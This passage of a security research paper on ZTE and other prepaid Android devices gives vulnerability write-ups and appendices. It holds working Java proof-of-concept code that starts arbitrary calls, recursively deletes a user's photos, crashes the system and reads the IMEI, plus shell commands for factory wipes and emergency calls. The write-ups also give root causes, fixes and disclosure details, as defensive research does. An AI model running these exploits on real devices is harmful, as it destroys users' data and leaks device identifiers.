1. The following source code snippet provides a PoC source code template that can be modified to start arbitrary activity components in the context of the System UI app. The action string of the "Intent" needs to be "com.zte.mfvkeyguard.START_ACTIVITY_ON_KEYGUARD" and the code processing the received "Intent" in the System UI app does not allow us to set a specific action string in the "Intent" that the System UI app sends on our behalf, but we can control the other important fields in the "Intent". In the source code template below, the "package_name" key sets the package name of the receiving app. The "class_name" key sets the destination activity class name within the receiving app. A "Uri" value can be provided by using its String representation via the "data" key (e.g., "tel:17035551234"). Lastly, arbitrary key/value pairs can be included in the "Intent" sent by the System UI app by putting them in the "Bundle" object within the "Intent".

```
Intent intent = new Intent("com.zte.mfvkeyguard.START_ACTIVITY_ON_KEYGUARD");
intent.putExtra("type", "set_wallpaper");
intent.putExtra("package_name", "<arbitrary package>");
intent.putExtra("class_name", "<arbitrary component>");
intent.putExtra("data", "<uri string>");
Bundle bundle = new Bundle();
bundle.putString("arbitrary_key", "arbitrary value");
intent.putExtras(bundle);
sendBroadcast(intent);
```

2. Using the source code snippet above as a template, we filled in it with values to provide a concrete example. Executing the following code snippet below from a third-party app will programmatically initiate a phone call to an arbitrary phone number. The example uses a fictional United States phone number of "17035551234" which can be replaced with an arbitrary local telephone number.

```
Intent intent = new Intent("com.zte.mfvkeyguard.START_ACTIVITY_ON_KEYGUARD");
intent.putExtra("type", "set_wallpaper");
intent.putExtra("package_name", "com.android.server.telecom");
intent.putExtra("class_name", "com.android.server.telecom.components.UserCallActivity");
intent.putExtra("data", "tel:17035551234");
Bundle bundle = new Bundle();
bundle.putString("<not needed>", "<not needed>");
intent.putExtras(bundle);
```

sendBroadcast(intent);
3. The device starts the desired destination activity which comes into the foreground on the screen and performs some action on GUI. If the sample code snippet was used in Step 2, then a phone call to the phone number indicated in the "data" key was programmatically initiated, which will be visible on the GUI and also present in the call log.

9.3.5. Root Causes and Resolution

The root cause of the vulnerability is that there is a dynamically-registered broadcast receiver component that is exported by default and not protected with any permissions. This lack of access control makes it accessible to all apps, including third-party apps. In addition, there are no restrictions on the activity that can be started (e.g., it lacks a whitelist of acceptable endpoint activity components).

These root causes that created the necessary conditions for the vulnerability to be exploited can be addressed with the following changes.

Proper access control should be enforced by protecting the broadcast receiver component that registers for the "com.zte.mfvkeyguard.START_ACTIVITY_ON_KEYGUARD" action string so that it requires an access permission. This access permission should be a permission that is not obtainable by third-party apps. For example, any permission that does not have a protection level of either "normal" or "dangerous" will be sufficient (e.g., android:protectionLevel="signatureOrSystem"). If possible, a proper whitelist should be used for activities that can be started and not left unconstrained.

9.3.6. Checking if Your Device is Vulnerable

The only way to definitively determine if your ZTE device is vulnerable is to follow the reproduction steps to see if the vulnerability can be exploited at runtime. If the "adb shell dumpsys activity broadcasts | grep -B3 -A1 'Action: "com.zte.mfvkeyguard.START_ACTIVITY_ON_KEYGUARD'" ADB command provides no output, then the device is likely not vulnerable. If there is output, check to see if the dynamically-registered broadcast receiver requires an access permission and then examine the protection level of the access permission.

9.4. Deletion of Arbitrary Files as the Settings App

9.4.1. Vulnerability Description

The Settings app, with a package name of "com.android.settings", on the impacted ZTE devices contains a vulnerability that allows unauthorized third-party apps to provide arbitrary paths for files and directories for the Settings app to delete in its context with its capabilities. The Settings app executes with the privileged "system" UID. The Settings app requires third-party apps to have one of four possible package names to exploit the vulnerability. Requiring a specific package name for "authentication" provides no security since the package names for these four apps are not installed and the actual signatures of the APK are not considered. In addition, the arbitrary file write as the Android system vulnerability can be used to programmatically install an application with a desired package name. A developer can choose an arbitrary package name for an app during development. This vulnerability allows third-party apps to cause the Settings app to delete any file or directory to which that the Settings app has write access. Note that the directory provided is recursively deleted.

9.4.2. Impacted Devices

The software component containing the vulnerability is the pre-installed Settings app which is an AOSP app that vendors can modify. This vulnerability was confirmed to exist on the following ZTE devices shown below.

- com.android.settings (versionCode='110000', versionName='11.0.000.000.2205091538') - Blade A52
- com.android.settings (versionCode='110000', versionName='11.0.000.000.2202181453') - Axon 30 Ultra 5G
- com.android.settings (versionCode='120000', versionName='12.0.070.000.2208162025') - Axon 40 Ultra 5G

9.4.3. Attack Requirements

The attack requires a local app on the device that has one of the following package names: "cn.nubia.flycow", "com.example.transferdatapass", "cn.nubia.cloud", or "cuuca.sendfiles.Activity". The PoC attack app does not need to request any permissions. As of July 3, 2023, none of these four package names are actually listed on Google Play (e.g., https://play.google.com/store/apps/details?id=cuuca.sendfiles.Activity).

9.4.4. Exploitation Workflow

We have provided the following reproduction steps to exploit the vulnerability. This instance will programmatically delete all of the user’s images and videos by recursively deleting the "/sdcard/DCIM" directory where they are stored.

1. Create an PoC app using an Android Studio and during the creation of the app, choose one of the following package names: "cn.nubia.flycow", "com.example.transferdatapass", "cn.nubia.cloud", or "cuuca.sendfiles.Activity". In addition, a current app can be refactored to use one of these four package names. There are no apps that are actually installed on the aforementioned ZTE devices corresponding to any of these package names, so any of the four package names can be chosen. The Android system will not allow two different apps to have the same package name on a device.

2. Take some photos and a video using the "Camera" app on the smartphone. Examine that these photos and the video are present in the "Photos" app. Their presence can also be examined using the following ADB command: "adb shell find /sdcard/DCIM/Camera" which will list all of the photo and video files.
3. Copy and paste the code in the sample snippet shown below in the PoC app you are developing and execute it by running the app. This will cause the "Settings" app to programmatically delete the "/sdcard/DCIM" directory and all of its contents.
4. To ensure that you do not view cached images in the "Photos" app after the underlying image and video files have been deleted from the file system, cause a system crash by executing the following code snippet from the PoC app. Alternatively, reboot the device using the following ADB command: "adb reboot".

```
Runtime.getRuntime().exec(new String[]{"service", "call", "connectivity", "87"});
Runtime.getRuntime().exec(new String[]{"service", "call", "connectivity", "77"});
Runtime.getRuntime().exec(new String[]{"service", "call", "fingerprint", "17"});
```

5. The photos taken with the "Camera" app will no longer be visible in the "Photos" app. Executing the sample code snippet below will cause the user to permanently lose all their photos that are not externally synced or backed up to another location. In the code snippet below, the path (i.e., "/sdcard/DCIM") in the "message.writeString("/sdcard/DCIM");" Java statement can be replaced with any path to a file or directory to which the "Settings" app has write access. For example, the path of "/sdcard/Download" can be used to delete all files the user has downloaded. The "Settings" app executes with the "system" UID (which shares file access among all apps with the same UID) so it can also delete files and directories of other apps, including their private files on internal storage, that execute with the same "system" UID in addition to its own files.

Sample Snippet

```
void data_backup_service_bind() {
  Intent intent = new Intent("cn.nubia.settings.action.DATABACKUP");
  intent.setClassName("com.android.settings", "com.zte.settings.backup.DataBackupService");
  SettingsBackupServiceConnection servConn = new SettingsBackupServiceConnection();
  boolean ret = bindService(intent, servConn, Service.BIND_AUTO_CREATE);
  Log.d(TAG, "com_zte_settings_backup_DataBackupService - bindService() return value = " + ret);
}

class SettingsBackupServiceConnection implements ServiceConnection {

  public void onServiceConnected(ComponentName name, IBinder boundService) {
     Log.w(TAG, "serviceConnected");

     Parcel message = Parcel.obtain();
     Parcel reply = Parcel.obtain();
     message.writeInterfaceToken("com.zte.settings.backup.IBackupController");
     try {
        message.writeString("/sdcard/DCIM");
        boolean success = boundService.transact(0x8, message, reply, 1);
        Log.d(TAG, "success=" + success);
     } catch (RemoteException e) {
        e.printStackTrace();
     }
     reply.readException();
     message.recycle();
     reply.recycle();
  }

  @Override
  public void onServiceDisconnected(ComponentName arg0) { Log.w(TAG, "onServiceConnected"); }

  @Override
  public void onNullBinding(ComponentName name) { Log.w(TAG, "onNullBinding"); }
  @Override
  public void onBindingDied(ComponentName name) {
    Log.w(TAG, "onBindingDied");
  }
}
```

9.4.5. Root Causes and Resolution

The root causes of the vulnerability are that there is no access control imposed on the service component named "com.android.settings/.backup.DataBackupService". Third-party apps should not be able to bind and interact with this component as it appears that there is no reason for them to do so. This component should be protected with a permission that restricts it to pre-installed apps and apps that have been signed with the same cryptographic private key (e.g., android:protectionLevel="signatureOrSystem"). There is also no restriction on the paths that can be deleted using this vulnerability imposed by the logic in the Settings app, although it will still be constrained by SELinux according to its domain of "system_app" domain. Moreover, the Settings app only checks the package name of the app that binds to its service, which does not provide adequate security as not all of these apps are installed by default and a developer can create an app with an arbitrary package name.

These root causes that created the necessary conditions for the vulnerability to be exploited can be addressed with the following changes.

The "com.android.settings/.backup.DataBackupService" service component should be protected with an access permission that is not available to third-party apps. Using a package name to “authenticate” an app is not sufficient and the app’s signature should be taken into account so it can be compared to an expected signature value.

9.4.6. Checking if Your Device is Vulnerable

The only way to definitively determine if your ZTE device is vulnerable is to follow the reproduction steps to see if the vulnerability can be exploited at runtime. If the "adb shell startservice -n com.android.settings/com.zte.settings.backup.DataBackupService" ADB command provides output that contains text like "Error: Not found; no service started.", then the device is likely not vulnerable. If there is no output indicating that the service component was not present, then check if there is an access permission guarding this component and its associated protection level.

10. Responsible Disclosure

We abided by the typical responsible disclosure process where the impacted vendors were informed at least 90 days prior to public disclosure. In some cases, additional time was requested and granted, where one case stretched out to more than 6 months. Quokka has its own responsible disclosure guidelines that were followed with regard to reaching out multiple times at distinct intervals in order to increase the chances that it will be received and examined. [47]

11. Conclusion

Security is a difficult enterprise. It is extremely difficult to consider and cover all cases when developing and testing non-trivial software. Despite this limitation, this survey of prepaid Android devices demonstrates that we still have further to go. Our presentation at DEF CON 26 in 2018 showed that there were some security issues in Android devices sold by American carriers.[1] We revisited the same topic in this paper, and showed that the problem still persists in 2023. Android smartphones provide the foundational security upon which our personnel data depends; therefore, great care should be taken to ensure that the devices are employing security best practices. How important is your personal data to you? This is a question that we each need to ask ourselves and address as a community.

References

1. https://www.android.com/certified/partners/#tab-panel-brands
2. https://cs.android.com/
3. https://www.bleepingcomputer.com/news/security/oneplus-phones-come-preinstalled-with-a-factory-app-that-can-root-devices/
4. https://developer.android.com/guide/topics/manifest/manifest-element#uid
5. https://source.android.com/docs/security/features/selinux#background
6. https://play.google.com/store/apps/details?id=com.einstein.uapp
7. https://nokiamob.net/2019/08/23/it-is-official-nokia-mobile-is-ditching-evenwell-software/
8. https://github.com/thanuj10/Nokia-Debloater
9. https://www.totalbyverizon.com/smartphones/blu-view-2-prepaid
10. Readers that are unfamiliar with Android should read https://developer.android.com/guide/components/fundamentals
11. https://developer.android.com/studio/command-line/adb
12. https://developer.android.com/guide/topics/manifest/permission-element#plevel
13. https://developer.android.com/guide/components/activities/activity-lifecycle
14. The "com.evenwell.fqc/.FQCBroadcastReceiver" receiver component logic assumes that the action of the "Intent" messages it receives will never be "null" and does not check at runtime, resulting in the app executing an instance method on a "null" object and crashing the "com.evenwell.fqc" app with an uncaught exception.
15. https://developer.android.com/guide/topics/permissions/overview#runtime
16. https://security.tecno.com/SRC/blogdetail/99?lang=en_US
17. https://developer.android.com/guide/topics/manifest/application-element#nm

18. Protected broadcasts are actions that can only be sent in a broadcast "Intent" by the system itself (e.g., the Android Framework, persistent pre-installed apps, etc.).

19. https://developer.android.com/training/articles/user-data-ids#best-practices-android-identifiers

20. This can be discovered by using the "AT+GCAP" AT command.

21. https://android.googlesource.com/platform/hardware/ril/+/master/include/telephony/ril.h

22. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-20726

23. https://corp.mediatek.com/product-security-bulletin/May-2023

24. https://github.com/lbule/android_hardware_mediatek/blob/master/gps/mnl/mnl_aosp/mnld/README

25. https://android.googlesource.com/platform/system/core/+/master/init/README.md

26. https://en.wikipedia.org/wiki/NMEA_0183

27. https://openrtk.readthedocs.io/en/latest/communication_port/nmea.html

28. https://extensionpublications.unl.edu/assets/pdf/ec157.pdf

29. https://www.pgc.umn.edu/apps/convert/

30. https://www.shodan.io/search?query=%24GPGGA

31. https://developer.android.com/reference/android/provider/Settings.Global#DEVICE_PROVISIONED

32. https://android.googlesource.com/platform/frameworks/base/+/master/core/java/android/service/persistentdata/PersistentDataBlockManager.java#143

33. https://developer.android.com/training/data-storage#scoped-storage

34. https://developer.android.com/training/data-storage/use-cases#opt-out-scoped-storage

35. https://developer.android.com/training/data-storage/manage-all-files#all-files-access-google-play

36. https://developer.android.com/training/articles/user-data-ids#best-practices-android-identifiers

37. https://source.android.com/docs/core/architecture/configuration#system-properties

38. https://support.zte.com.cn/support/news/LoopholeInfoDetail.aspx?newsId=1030664

39. https://developer.android.com/about/versions/14/behavior-changes-14#zip-path-traversal

40. https://developer.android.com/reference/androidx/core/content/FileProvider

41. https://developer.android.com/studio/command-line/aapt2

42. https://developer.android.com/training/package-visibility

43. https://developer.android.com/reference/android/content/pm/ApplicationInfo#sourceDir

44. https://github.com/ptoomey3/evilarc/blob/master/evilarc.py

45. https://android.googlesource.com/platform/frameworks/base/+/refs/heads/android12-release/core/res/AndroidManifest.xml#2772

46. https://android.googlesource.com/platform/frameworks/base/+/master/packages/SystemUI/

47. https://www.quokka.io/company/vulnerability-disclosure-policy

Appendix A. Additional Use Case Shell Commands for Executing in the Context of a "system" UID App.

Grant Arbitrary Permissions

```
"pm grant com.example.packagename android.permission.RECORD_AUDIO"
```

Install Arbitrary Apps

```
"cmd package install -r -g -S $(stat -c %s " + apk_file.getPath() + ") < " + apk_file.getPath()"
```

Factory Reset (i.e., data wipe)

```
"am broadcast -a android.intent.action.FACTORY_RESET -p android --es android.intent.extra.REASON MasterClearConfirm --ez android.intent.extra.WIPE_EXTERNAL_STORAGE true --ez com.android.internal.intent.extra.WIPE_ESIMS true"
```

Call Arbitrary Phone numbers

```
"am start -a android.intent.action.CALL -d tel:703-555-1234"
```

Call Emergency Phone numbers

```
"am start -a android.intent.action.CALL_PRIVILEGED -d tel:911"
```

Inject Arbitrary Input Events

```
"input keyevent 3 66 67 66"
```

Dump Notification Content

```
"dumpsys notification --noredact > /sdcard/notifications.txt"
```

Perform Operations with AppOps

```
"appops set com.example.packagename MANAGE_EXTERNAL_STORAGE allow"
```

Disable Arbitrary Applications

```
"cmd package disable jackpal.androidterm"
```

Disable Arbitrary Components

```
"cmd package disable jackpal.androidterm/.Term"
```

Appendix B. PoC Source Code for the "MMIGroupExploitService" Component.

```
import android.app.Notification;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.os.IBinder;
import android.app.NotificationChannel;
import android.util.Log;
import java.io.BufferedReader;
import java.io.InputStreamReader;

public class MMIGroupExploitService extends Service {

  static final int NOTIFICATION_ID = 12345;
  static final String TAG = MMIGroupExploitService.class.getSimpleName();

  @Override
  public void onCreate() {
     super.onCreate();
     startForeground();
  }

  @Override
  public int onStartCommand(Intent intent, int flags, int startId) {
     exploit();
     return super.onStartCommand(intent, flags, startId);
  }

  private void exploit() {

     // Use the following ADB command to obtain the IMEI value and write it to the system
     // log: 'adb logcat MMIGroupExploitService:V -s'. The IMEI value is also directly
     // observable using the 'adb shell getprop persist.sys.ata_adb.result' command. If
     // a factory reset is desired, uncomment the commented-out lines in this method.

     new Thread() {
        @Override
```

```
      public void run() {

        try {
          Thread.sleep(2000);

          Intent action_intent = new Intent("action.adb.ata.query");
          action_intent.putExtra("query", "imei1");
          sendBroadcast(action_intent);

          Thread.sleep(2000);

          Process process = Runtime.getRuntime().exec(new String[]{"getprop", "persist.sys.ata_adb.result"});
          StringBuilder stringBuilder = new StringBuilder();
          BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
          String line = null;
          while ((line = bufferedReader.readLine()) != null) {
            stringBuilder.append(line);
          }
          String imei_value = stringBuilder.toString();
          Log.d(TAG, imei_value);

          // uncomment to factory reset the device
          //Thread.sleep(2000);
          //Intent factory_reset_intent = new Intent("action.adb.ata.ctrl");
          //factory_reset_intent.putExtra("ctrl", "recovery_wipe_data");
          //sendBroadcast(factory_reset_intent);

        } catch (Exception e) {
          Log.d(TAG, "error", e);
        }
      }
    }.start();
  }

  @Override
  public IBinder onBind(Intent intent) {
    return null;
  }

  private void startForeground() {
    final String CHANNEL_ID = "generic_channel_id";
    String CHANNEL_NAME = "generic_channel_name";
    NotificationChannel chan = new NotificationChannel(CHANNEL_ID, CHANNEL_NAME, NotificationManager.IMPORTANCE_NONE);
    chan.setLockscreenVisibility(Notification.VISIBILITY_PRIVATE);
    NotificationManager service = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
    service.createNotificationChannel(chan);
    Intent notificationIntent = new Intent(this, MainActivity.class);
    PendingIntent pendingIntent = PendingIntent.getActivity(this, 0, notificationIntent, PendingIntent.FLAG_IMMUTABLE);
    Notification notification =
        new Notification.Builder(this, CHANNEL_ID)
            .setContentTitle("MMIGroupExploitService")
            .setSmallIcon(R.drawable.ic_launcher_foreground)
            .setContentIntent(pendingIntent)
            .build();
    startForeground(NOTIFICATION_ID, notification);
 }
}
```

Appendix C. Vulnerable Software Builds that Contain the MMIGroup App

Device	Build Fingerprint	Version Code	Version Name	Build Date	SHA-256
T-Mobile Revvl 6 Pro 5G	T-Mobile/Augusta/Augusta:12/SP1A.210812.016/SW_S98121AA1_V070:user/release-keys	3	2.1	Fri Dec 30 14:18:46 CST 2022	a20b4c046525ecb90cad92ff612e9b209180043f34d24008b9a1222e88fad817
T-Mobile Revvl 6 Pro 5G	T-Mobile/Augusta/Augusta:12/SP1A.210812.016/SW_S98121AA1_V066:user/release-keys	3	2.1	Sun Oct 9 18:46:44 CST 2022	e2bd6715c35b4448b30062ccbfe5af20867c7fc01cad3339face8c0f57810d0e
T-Mobile Revvl V+ 5G	T-Mobile/Sprout/Sprout:11/RP1A.200720.011/SW_S98115AA1_V077:user/release-keys	3	2.1	Sat Mar 4 20:28:20 CST 2023	dba9d70d40e10a5828befb7ef3ec3a033808c31fe2a3005d6424e45ef6dcbbc8
T-Mobile Revvl V+ 5G	T-Mobile/Sprout/Sprout:11/RP1A.200720.011/SW_S98115AA1_V060:user/release-keys	3	2.1	Fri May 20 15:16:25 CST 2022	114e917f463bb541362d97e83a639ccff4dcb665d01aaf4ef9e23c1aad52084d
Boost Mobile Celero 5G	Celero5G/Jupiter/Jupiter:11/RP1A.200720.011/SW_S98119AA1_V067:user/release-keys	3	2.1	Mon Mar 13 11:50:56 CST 2023	dba9d70d40e10a5828befb7ef3ec3a033808c31fe2a3005d6424e45ef6dcbbc8
Boost Mobile Celero 5G	Celero5G/Jupiter/Jupiter:11/RP1A.200720.011/SW_S98119AA1_V064:user/release-keys	3	2.1	Thu Dec 8 18:10:32 CST 2022	dba9d70d40e10a5828befb7ef3ec3a033808c31fe2a3005d6424e45ef6dcbbc8

Device	Build Fingerprint	Version Code	Version Name	Build Date	SHA-256
Boost Mobile Celero 5G	Celero5G/Jupiter/Jupiter:11/RP1A.200720.011/SW_S98119AA1_V061:user/release-keys	3	2.1	Fri Sep 16 16:37:21 CST 2022	dba9d70d40e10a5828befb7ef3ec3a033808c31fe2a3005d6424e45ef6dcbbc8
Boost Mobile Celero 5G	Celero5G/Jupiter/Jupiter:11/RP1A.200720.011/SW_S98119AA1_V052:user/release-keys	3	2.1	Sat Feb 19 18:09:04 CST 2022	15331ca16b2e87b48972f65fc5204faf533ce9f8df1b408c1f2b46508a39e3d1
Tracfone Samsung Galaxy A03S	samsung/a03sutfn/a03su:13/TP1A.220624.014/S134DLUDU6CWB6:user/release-keys	3	2.1	Mon Feb 20 19:43:44 KST 2023	53a82ffe0a8d4609cd81f17652a3401ca84f13ab13233037679b2d2e93e4003e
Tracfone Samsung Galaxy A03S	samsung/a03sutfn/a03su:12/SP1A.210812.016/S134DLUDS5BWA1:user/release-keys	3	2.1	Thu Jan 5 00:55:14 KST 2023	83d454085227b70b6673f8c77ec99e2ff952e1d1ccde46ff68d056f537d774a6
Realme C25Y	realme/RMX3269/RED8F6:11/RP1A.201005.001/1675861640000:user/release-keys	3	2.1	Wed Feb 8 21:05:58 CST 2023	926e06f654905ce6b50f711e45bb9fc30a21878d8b58b6d077dafdce73cf0cd8
Realme C25Y	realme/RMX3269/RED8F6:11/RP1A.201005.001/1664031768000:user/release-keys	3	2.1	Sat Sep 24 23:01:31 CST 2022	4fe7f0eb8bb1627afefd9bb4eb535de78a72e283277d930561fb251709bde978
Realme C25Y	realme/RMX3269/RED8F6:11/RP1A.201005.001/1652814687000:user/release-keys	3	2.1	Wed May 18 03:10:11 CST 2022	4fe7f0eb8bb1627afefd9bb4eb535de78a72e283277d930561fb251709bde978
Realme C25Y	realme/RMX3269/RED8F6:11/RP1A.201005.001/1635785712000:user/release-keys	3	2.1	Tue Nov 2 00:52:58 CST 2021	1f4e2063c4017d11490f735705f3eb89e2b0dfa33e7f8daf93a98dd2a3011b03

Appendix D. Affected Products and Fixes Table from ZTE Security Bulletin for the Three Vulnerabilities.

Source: https://support.zte.com.cn/support/news/LoopholeInfoDetail.aspx?newsId=1030664 (Accessed July 3, 2023).

Product Name	Affected Version	Resolved Version
ZTE Blade A52	All versions up to Z6356T_M01	Z6356T_M02
ZTE Blade A51	All versions up to Blade A51_M06	Blade A51_M07
ZTE Blade A3 Lite	All versions up to Blade A30_M08	Blade A30_M09
ZTE Blade A5 2020	All versions up to Blade A5 2020-T_M04	Blade A5 2020-T_M05
ZTE Blade L210	All versions up to GEN_MY_L210_V1.13	GEN_MY_L210_V1.14
ZTE Blade A7s	All versions up to CLA_GT_A7020_V2.1	CLA_GT_A7020_V2.2
ZTE Blade A31	All versions up to Blade A31_M02	Blade A31_M03
ZTE Blade A31 Plus	All versions up to P600_M03	P600_M04
ZTE Blade A5 (2019)	All versions up to P650 Pro_M12	P650 Pro_M13
ZTE Blade A71	All versions up to GEN_EU_EEA_A7030_V2.3	GEN_EU_EEA_A7030_V2.4
ZTE Blade A72	All versions up to MyOS11.0.2_A7039 _CLA_CO	MyOS11.0.3_A7040_CLA_CO
ZTE Blade V20 Smart	All versions up to TEL_MX_ZTE_8010 V1.13	TEL_MX_ZTE_8010V1.14
ZTE Blade V30	All versions up to TEL_MX_ZTE_9030 V1.10	TEL_MX_ZTE_9030V1.11
ZTE Blade V30 Vita	All versions up to TEL_MX_ZTE_8030 V1.10	TEL_MX_ZTE_8030V1.11
ZTE V40 Pro	All versions up to MyOS11.0.3_9045_TEL	MyOS11.0.4_9046_TEL
ZTE Blade V40 Vita	All versions up to MyOS11.0.1_8044 _CLA_CO	MyOS11.0.2_8045_CLA_CO
ZTE Axon 40 Ultra	All versions up to NON_EEA_P898F01 V1.0.0B25	NON_EEA_P898F01V1.0.0B26

Appendix E. Table of File Paths for the Settings and SystemUI APKs in ZTE Devices.

Model	Vulnerable	App Path
Axon 40 Ultra 5G	Yes	/system_ext/priv-app/SystemUI_MFV_abroad/SystemUI_MFV_abroad.apk
Axon 40 Ultra 5G	Yes	/system_ext/priv-app/Settings_MFV_abroad/Settings_MFV_abroad.apk
Axon 30 Ultra 5G	Yes	/system_ext/priv-app/SystemUI_MFV_abroad/SystemUI_MFV_abroad.apk
Axon 30 Ultra 5G	Yes	/system_ext/priv-app/Settings_MFV_abroad/Settings_MFV_abroad.apk
Blade A71	Yes	/system_ext/priv-app/SystemUI_MFV_Low_abroad/SystemUI_MFV_Low_abroad.apk
Blade A71	No	/system_ext/priv-app/Settings_MFV_abroad/Settings_MFV_abroad.apk
Blade A52	Yes	/system_ext/priv-app/SystemUI_MFV_Low_abroad/SystemUI_MFV_Low_abroad.apk
Blade A52	Yes	/system_ext/priv-app/Settings_MFV_abroad/Settings_MFV_abroad.apk
Blade A7s	Yes	/system/priv-app/SystemUI_MFV_Low_abroad/SystemUI_MFV_Low_abroad.apk
Blade A7s	No	/product/priv-app/Settings_MFV_abroad/Settings_MFV_abroad.apk
Blade A51	No	/system_ext/priv-app/SystemUI_stock/SystemUI_stock.apk
Blade A51	No	/system_ext/priv-app/Settings_stock/Settings_stock.apk
Blade X1 5G	No	/product/priv-app/SystemUI/SystemUI.apk
Blade X1 5G	No	/product/priv-app/Settings_stockplus/Settings_stockplus.apk
Blade L210	No	/product/priv-app/SystemUI/SystemUI.apk
Blade L210	No	/product/priv-app/Settings/Settings.apk
Avid 579	No	/product/priv-app/MtkSystemUI/MtkSystemUI.apk
Avid 579	No	/product/priv-app/Settings_stockplus/Settings_stockplus.apk

Appendix F. Listing of SELinux Rules that Allow the "system_server" Domain to Have the Write Permission on Some File or Directory Resource from the ZTE Axon 40 Ultra 5G Device.

```
(allow system_server ota_package_file (dir (ioctl read write getattr lock open watch watch_reads add_name remove_name search)))
(allow system_server ota_package_file (file (ioctl read write create getattr setattr lock append map unlink rename open watch watch_reads)))
(allow system_server system_data_file (dir (ioctl read write create getattr setattr lock rename open watch watch_reads add_name remove_name reparent search rmdir)))
(allow system_server system_data_file (file (ioctl read write create getattr setattr lock append map unlink rename open watch watch_reads)))
(allow system_server system_data_file (lnk_file (ioctl read write create getattr setattr lock append map unlink rename open watch watch_reads)))
(allow system_server system_data_file (fifo_file (ioctl read write create getattr setattr lock append map unlink rename open watch watch_reads)))
(allow system_server packages_list_file (file (ioctl read write create getattr setattr lock append map unlink rename open watch watch_reads)))
(allow system_server keychain_data_file (dir (ioctl read write create getattr setattr lock rename open watch watch_reads add_name remove_name reparent search rmdir)))
(allow system_server keychain_data_file (file (ioctl read write create getattr setattr lock append map unlink rename open watch watch_reads)))
(allow system_server keychain_data_file (lnk_file (ioctl read write create getattr setattr lock append map unlink rename open watch watch_reads)))
(allow system_server apk_data_file (dir (ioctl read write create getattr setattr lock rename open watch watch_reads add_name remove_name reparent search rmdir)))
(allow system_server apk_data_file (file (ioctl read write create getattr setattr lock append map unlink link rename open watch watch_reads)))
(allow system_server apk_data_file (lnk_file (ioctl read write create getattr setattr lock append map unlink link rename open watch watch_reads)))
(allow system_server apk_tmp_file (dir (ioctl read write create getattr setattr lock rename open watch watch_reads add_name remove_name reparent search rmdir)))
(allow system_server apk_tmp_file (file (ioctl read write create getattr setattr lock append map unlink rename open watch watch_reads)))
(allow system_server apk_private_data_file (dir (ioctl read write create getattr setattr lock rename open watch watch_reads add_name remove_name reparent search rmdir)))
(allow system_server apk_private_data_file (file (ioctl read write create getattr setattr lock append map unlink rename open watch watch_reads)))
(allow system_server apk_private_tmp_file (dir (ioctl read write create getattr setattr lock rename open watch watch_reads add_name remove_name reparent search rmdir)))
(allow system_server apk_private_tmp_file (file (ioctl read write create getattr setattr lock append map unlink rename open watch watch_reads)))
(allow system_server asec_apk_file (dir (ioctl read write create getattr setattr lock rename open watch watch_reads add_name remove_name reparent search rmdir)))
(allow system_server asec_apk_file (file (ioctl read write create getattr setattr lock append map unlink rename open watch watch_reads)))
(allow system_server asec_public_file (file (ioctl read write create getattr setattr lock append map unlink rename open watch watch_reads)))
```

```
(allow system_server anr_data_file (dir (ioctl read write create getattr setattr lock rename open
watch watch_reads add_name remove_name reparent search rmdir)))
(allow system_server anr_data_file (file (ioctl read write create getattr setattr lock append map
unlink rename open watch watch_reads)))
(allow system_server prereboot_data_file (dir (ioctl read write getattr lock open watch
watch_reads add_name remove_name search)))
(allow system_server prereboot_data_file (file (ioctl read write create getattr setattr lock append
map unlink rename open watch watch_reads)))
(allow system_server backup_data_file (dir (ioctl read write create getattr setattr lock rename open
watch watch_reads add_name remove_name reparent search rmdir)))
(allow system_server backup_data_file (file (ioctl read write create getattr setattr lock append map
unlink rename open watch watch_reads)))
(allow system_server dropbox_data_file (dir (ioctl read write create getattr setattr lock rename
open watch watch_reads add_name remove_name reparent search rmdir)))
(allow system_server dropbox_data_file (file (ioctl read write create getattr setattr lock append
map unlink rename open watch watch_reads)))
(allow system_server heapdump_data_file (dir (ioctl read write getattr lock open watch
watch_reads add_name remove_name search)))
(allow system_server heapdump_data_file (file (ioctl read write create getattr setattr lock append
map unlink rename open watch watch_reads)))
(allow system_server adb_keys_file (dir (ioctl read write create getattr setattr lock rename open
watch watch_reads add_name remove_name reparent search rmdir)))
(allow system_server adb_keys_file (file (ioctl read write create getattr setattr lock append map
unlink rename open watch watch_reads)))
(allow system_server appcompat_data_file (dir (ioctl read write getattr lock open watch
watch_reads add_name remove_name search)))
(allow system_server appcompat_data_file (file (ioctl read write create getattr setattr lock append
map unlink rename open watch watch_reads)))
(allow system_server emergency_data_file (dir (ioctl read write create getattr setattr lock rename
open watch watch_reads add_name remove_name reparent search rmdir)))
(allow system_server emergency_data_file (file (ioctl read write create getattr setattr lock append
map unlink rename open watch watch_reads)))
(allow system_server network_watchlist_data_file (dir (ioctl read write create getattr setattr lock
rename open watch watch_reads add_name remove_name reparent search rmdir)))
(allow system_server network_watchlist_data_file (file (ioctl read write create getattr setattr lock
append map unlink rename open watch watch_reads)))
(allow system_server radio_data_file (dir (ioctl read write create getattr setattr lock rename open
watch watch_reads add_name remove_name reparent search rmdir)))
(allow system_server radio_data_file (file (ioctl read write create getattr setattr lock append map
unlink rename open watch watch_reads)))
(allow system_server systemkeys_data_file (dir (ioctl read write create getattr setattr lock rename
open watch watch_reads add_name remove_name reparent search rmdir)))
(allow system_server systemkeys_data_file (file (ioctl read write create getattr setattr lock append
map unlink rename open watch watch_reads)))
(allow system_server textclassifier_data_file (dir (ioctl read write create getattr setattr lock rename
open watch watch_reads add_name remove_name reparent search rmdir)))
(allow system_server textclassifier_data_file (file (ioctl read write create getattr setattr lock append
map unlink rename open watch watch_reads)))
(allow system_server tombstone_data_file (file (write)))
(allow system_server vpn_data_file (dir (ioctl read write create getattr setattr lock rename open
watch watch_reads add_name remove_name reparent search rmdir)))
(allow system_server vpn_data_file (file (ioctl read write create getattr setattr lock append map unlink rename open watch watch_reads)))
(allow system_server wifi_data_file (dir (ioctl read write create getattr setattr lock rename open watch watch_reads add_name remove_name reparent search rmdir)))
(allow system_server wifi_data_file (file (ioctl read write create getattr setattr lock append map unlink rename open watch watch_reads)))
(allow system_server zoneinfo_data_file (dir (ioctl read write create getattr setattr lock rename open watch watch_reads add_name remove_name reparent search rmdir)))
(allow system_server zoneinfo_data_file (file (ioctl read write create getattr setattr lock append map unlink rename open watch watch_reads)))
(allow system_server staging_data_file (dir (ioctl read write create getattr setattr lock rename open watch watch_reads add_name remove_name reparent search rmdir)))
